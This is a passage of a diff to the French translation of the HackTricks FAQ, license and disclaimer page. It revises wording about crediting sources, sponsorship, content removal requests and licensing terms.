**crédits**. +> - **Nous ne cherchons pas à obtenir le crédit d'autres personnes**, nous voulons juste conserver des astuces sympas pour tout le monde. +> - Nous écrivons aussi **nos propres recherches** dans HackTricks. +> - Dans plusieurs cas nous écrirons simplement **dans HackTricks un résumé des parties importantes** de la technique et **encouragerons le lecteur à visiter l'article original** pour plus de détails. +> - **ORGANISER** toutes les techniques de hacking dans le livre afin qu'elles soient **PLUS ACCESSIBLES** > - L'équipe HackTricks a consacré des milliers d'heures gratuitement **uniquement pour organiser le contenu** afin que les gens puissent **apprendre plus vite**
-## FAQ HackTricks +## FAQ de HackTricks > [!TIP] > -> - **Merci beaucoup pour ces ressources, comment puis-je vous remercier ?** +> - **Thank you so much for these resources, how can I thank you?** Vous pouvez remercier publiquement les équipes HackTricks pour avoir rassemblé toutes ces ressources en publiant un tweet mentionnant [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ Si vous êtes particulièrement reconnaissant vous pouvez aussi [**sponsoriser le projet ici**](https://github.com/sponsors/carlospolop).\ -Et n'oubliez pas de **donner une étoile aux projets GitHub !** (Trouvez les liens ci-dessous). +Et n'oubliez pas de **mettre une étoile aux projets Github !** (Trouvez les liens ci-dessous). > [!TIP] > -> - **Comment puis-je contribuer au projet ?** +> - **How can I contribute to the project?** -Vous pouvez **partager de nouveaux tips and tricks avec la communauté ou corriger des bugs** que vous trouvez dans les livres en envoyant un **Pull Request** vers les pages Github respectives : +Vous pouvez **partager de nouveaux tips and tricks avec la communauté ou corriger des bugs** que vous trouvez dans les livres en envoyant un **Pull Request** aux pages Github respectives : - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -N'oubliez pas de **donner une étoile aux projets GitHub !** +N'oubliez pas de **mettre une étoile aux projets Github !** > [!TIP] > -> - **Puis-je copier du contenu de HackTricks et le mettre sur mon blog ?** +> - **Can I copy some content from HackTricks and put it in my blog?** -Oui, vous pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifiques** d'où provient le contenu. +Oui, vous pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifique(s)** d'où provient le contenu. > [!TIP] > -> - **Comment puis-je référencer une page de HackTricks ?** +> - **How can I reference a page of HackTricks?** -Tant que le lien **de** la/les page(s) d'où vous avez pris l'information apparaît, c'est suffisant.\ +Tant que le lien **de** la page(s) d'où vous avez pris l'information apparaît, c'est suffisant.\ Si vous avez besoin d'un bibtex, vous pouvez utiliser quelque chose comme : ```latex @misc{hacktricks-bibtexing, @@ -62,47 +62,47 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Puis-je copier tout HackTricks sur mon blog ?** +> - **Puis-je copier tout le contenu de HackTricks sur mon blog ?** -**Je préférerais que non**. Ce n'est **au bénéfice de personne** puisque tout le **contenu est déjà disponible publiquement** dans les livres officiels HackTricks gratuitement. +**Je préférerais pas.** Cela **n'apportera rien à personne** car tout le **contenu est déjà disponible publiquement** dans les livres officiels HackTricks gratuitement. -Si vous craignez qu'il disparaisse, forkez-le sur Github ou téléchargez-le ; comme je l'ai dit, c'est déjà gratuit. +Si vous craignez qu'il disparaisse, forkez-le sur Github ou téléchargez-le, comme je l'ai dit c'est déjà gratuit. > [!WARNING] > -> - **Pourquoi avez-vous des sponsors ? Les livres HackTricks sont-ils à but commercial ?** +> - **Pourquoi avez-vous des sponsors ? Les livres HackTricks ont-ils des buts commerciaux ?** -La première **valeur** de HackTricks est d'offrir des ressources éducatives en hacking **GRATUITES** à **TOUT** le monde. L'équipe HackTricks a **dédié des milliers d'heures** pour fournir ce contenu, encore une fois, **GRATUITEMENT**. +La première **valeur** de **HackTricks** est d'offrir des ressources éducatives **FREE** en hacking à **TOUT** le monde. L'équipe HackTricks a **consacré des milliers d'heures** pour offrir ce contenu, encore une fois, **FREE**. Si vous pensez que les livres HackTricks sont faits à des **fins commerciales**, vous avez **COMPLÈTEMENT TORT**. -Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Ainsi, nous proposons aux personnes la possibilité de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et permettons à **entreprises de cybersécurité pertinentes** de sponsoriser HackTricks et d'**afficher quelques publicités** dans le livre — les **publicités** sont toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu. +Nous avons des sponsors parce que, même si tout le contenu est FREE, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Par conséquent, nous proposons aux gens l'option de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et des **entreprises de cybersécurité pertinentes** peuvent sponsoriser HackTricks et avoir des **ads** dans le livre, ces **ads** étant toujours placées à des endroits où elles sont **visibles** mais **n'entravent pas** le processus d'apprentissage si quelqu'un se concentre sur le contenu. -Vous ne trouverez pas HackTricks rempli de publicités agaçantes comme d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas conçu à des fins commerciales. +Vous ne trouverez pas HackTricks rempli d'ads agaçantes comme d'autres blogs avec bien moins de contenu que HackTricks, car HackTricks n'est pas fait à des fins commerciales. > [!CAUTION] > -> - **Que dois-je faire si une page HackTricks est basée sur mon article de blog mais n'est pas référencée ?** +> - **Que dois-je faire si une page HackTricks est basée sur un article de mon blog mais n'est pas référencée ?** -**Nous sommes vraiment désolés. Cela n'aurait pas dû arriver**. Veuillez nous le faire savoir via Github issues, Twitter, Discord... en nous fournissant le lien de la page HackTricks contenant le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**. +**Nous sommes vraiment désolés. Cela n'aurait pas dû arriver.** Merci de nous le signaler via Github issues, Twitter, Discord... en indiquant le lien de la page HackTricks contenant le contenu et le lien de votre blog et **nous vérifierons et ajouterons la référence ASAP**. > [!CAUTION] > -> - **Que dois-je faire s'il y a du contenu provenant de mon blog dans HackTricks et que je ne veux pas qu'il y soit ?** +> - **Que dois-je faire si du contenu de mon blog se retrouve dans HackTricks et que je ne veux pas qu'il y soit ?** Notez que le fait d'avoir des liens vers votre page dans HackTricks : - Améliore votre **SEO** - Le contenu est **traduit en plus de 15 langues**, permettant à plus de personnes d'accéder à ce contenu -- **HackTricks encourage** les gens à **consulter votre page** (plusieurs personnes nous ont dit que depuis qu'une de leurs pages figure sur HackTricks, elles reçoivent plus de visites) +- **HackTricks encourage** les gens à **consulter votre page** (plusieurs personnes nous ont dit que depuis qu'une de leurs pages est sur HackTricks elles reçoivent plus de visites) -Cependant, si vous souhaitez toujours que le contenu de votre blog soit retiré de HackTricks, faites-le nous savoir et nous **supprimerons définitivement tous les liens vers votre blog**, ainsi que tout contenu basé dessus. +Cependant, si vous souhaitez toujours que le contenu de votre blog soit retiré de HackTricks, dites-le-nous et nous **supprimerons définitivement tout lien vers votre blog**, ainsi que tout contenu basé sur celui-ci. > [!CAUTION] > > - **Que dois-je faire si je trouve du contenu copié-collé dans HackTricks ?** -Nous donnons toujours **tous les crédits aux auteurs originaux**. Si vous trouvez une page contenant du contenu copié-collé sans source originale référencée, faites-le nous savoir et nous **le supprimerons**, **ajouterons le lien avant le texte**, ou **le réécrirons en ajoutant le lien**. +Nous **attribuons toujours tous les crédits aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé sans source originale référencée, informez-nous et nous **le supprimerons**, **ajouterons le lien avant le texte**, ou **le réécrirons en ajoutant le lien**. ## LICENSE @@ -110,34 +110,34 @@ Copyright © Tous droits réservés sauf indication contraire. #### License Summary: -- Attribution : Vous êtes libre de : -- Partager — copier et redistribuer le matériel dans n'importe quel support ou format. -- Adapter — remixer, transformer et développer le matériel. +- Attribution: Vous êtes libre de : +- Share — copier et redistribuer le matériel sur n'importe quel support ou format. +- Adapt — remixer, transformer et créer à partir du matériel. #### Additional Terms: -- Contenu tiers : Certaines parties de ce blog/livre peuvent inclure du contenu provenant d'autres sources, comme des extraits d'autres blogs ou publications. L'utilisation de ce contenu se fait selon les principes du fair use (usage équitable) ou avec l'autorisation explicite des détenteurs de droits d'auteur respectifs. Veuillez vous référer aux sources originales pour des informations spécifiques sur les licences concernant le contenu tiers. -- Auteur : Le contenu original rédigé par HackTricks est soumis aux termes de cette licence. Il est recommandé d'attribuer ce travail à l'auteur lors du partage ou de l'adaptation. +- Third-Party Content : Certaines parties de ce blog/livre peuvent inclure du contenu provenant d'autres sources, comme des extraits d'autres blogs ou publications. L'utilisation de ce contenu se fait selon les principes de l'usage équitable ou avec l'autorisation explicite des détenteurs de droits d'auteur respectifs. Veuillez vous référer aux sources originales pour des informations spécifiques sur les licences concernant le contenu tiers. +- Authorship : Le contenu original rédigé par HackTricks est soumis aux termes de cette licence. Il est recommandé d'attribuer ce travail à l'auteur lorsque vous le partagez ou l'adaptez. #### Exemptions: -- Utilisation commerciale : Pour les demandes concernant l'utilisation commerciale de ce contenu, veuillez me contacter. +- Commercial Use : Pour toute demande concernant l'utilisation commerciale de ce contenu, veuillez me contacter. -Cette licence n'accorde aucun droit de marque ou d'image de marque en relation avec le contenu. Toutes les marques et l'image de marque présentées dans ce blog/livre sont la propriété de leurs propriétaires respectifs. +Cette licence n'accorde aucun droit sur les marques ou l'image de marque en relation avec le contenu. Toutes les marques et éléments de branding présents dans ce blog/livre sont la propriété de leurs détenteurs respectifs. -**En accédant à HackTricks ou en l'utilisant, vous acceptez de respecter les termes de cette licence. Si vous n'acceptez pas ces termes, veuillez ne pas accéder à ce site.** +**En accédant à ou en utilisant HackTricks, vous acceptez de respecter les termes de cette licence. Si vous n'acceptez pas ces termes, veuillez ne pas accéder à ce site.** -## **Avertissement** +## **Disclaimer** > [!CAUTION] -> Ce livre, 'HackTricks,' est destiné uniquement à des fins éducatives et informatives. Le contenu de ce livre est fourni "tel quel", et les auteurs et éditeurs ne font aucune déclaration ni garantie d'aucune sorte, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques associés contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos propres risques. +> Ce livre, 'HackTricks', est destiné uniquement à des fins éducatives et informatives. Le contenu de ce livre est fourni « tel quel », et les auteurs et éditeurs ne font aucune déclaration ni garantie d'aucune sorte, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques associés contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos propres risques. > -> Les auteurs et éditeurs ne pourront en aucun cas être tenus responsables de toute perte ou dommage, y compris, sans s'y limiter, les pertes ou dommages indirects ou consécutifs, ou toute perte ou dommage quelle qu'en soit la cause résultant de la perte de données ou de bénéfices découlant de, ou en relation avec, l'utilisation de ce livre. +> Les auteurs et éditeurs ne pourront en aucun cas être tenus responsables de toute perte ou dommage, y compris, sans s'y limiter, les pertes indirectes ou consécutives, ou toute perte ou dommage quel qu'il soit résultant de la perte de données ou de bénéfices découlant de, ou en relation avec, l'utilisation de ce livre. > -> De plus, les techniques et conseils décrits dans ce livre sont fournis à des fins éducatives et informatives uniquement, et ne doivent pas être utilisés pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait à la discrétion et au risque de l'utilisateur. +> De plus, les techniques et conseils décrits dans ce livre sont fournis à des fins éducatives et informatives uniquement, et ne doivent pas être utilisés pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait aux risques et au choix de l'utilisateur. > -> L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander des conseils et une assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou conseils décrits ici. +> L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours chercher des conseils et une assistance professionnels avant de tenter de mettre en œuvre l'une quelconque des techniques ou conseils décrits ici. > -> En utilisant ce livre, l'utilisateur accepte de libérer les auteurs et éditeurs de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de toute information qu'il contient. +> En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de toute information qui y est contenue. {{#include ../banners/hacktricks-training.md}}